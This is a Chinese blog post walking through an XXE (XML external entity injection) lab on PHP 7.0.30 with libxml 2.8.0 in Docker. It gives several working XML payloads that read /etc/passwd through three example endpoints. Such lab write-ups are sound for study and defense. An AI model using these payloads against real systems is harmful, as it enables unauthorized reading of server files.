当前位置:   article > 正文

PHP环境 XML外部实体注入漏洞(XXE)_php7.0.30 的xxe

php7.0.30 的xxe

PHP环境 XML外部实体注入漏洞(XXE)

环境介绍:

  • PHP 7.0.30
  • libxml 2.8.0

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

使用如下命令编译并启动环境:

docker-compose up -d
  • 1

环境启动后,访问http://your-ip:8080/index.php即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。

Web目录为./www,其中包含4个文件:

$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

dom.phpSimpleXMLElement.phpsimplexml_load_string.php均可触发XXE漏洞

  • 漏洞点 /simplexml_load_string.php

  • dom.php

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

  • SimpleXMLElement.php
<?xml version="1.0"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>
<name>&xxe;</name>
</xxe>

​```

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

成功读取到/etc/passwd

在这里插入图片描述

  • simplexml_load_string.php
<?xml version="1.0"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>
<name>&xxe;</name>
</xxe>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 成功读取到文件

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/612738
推荐阅读
相关标签
  

闽ICP备14008679号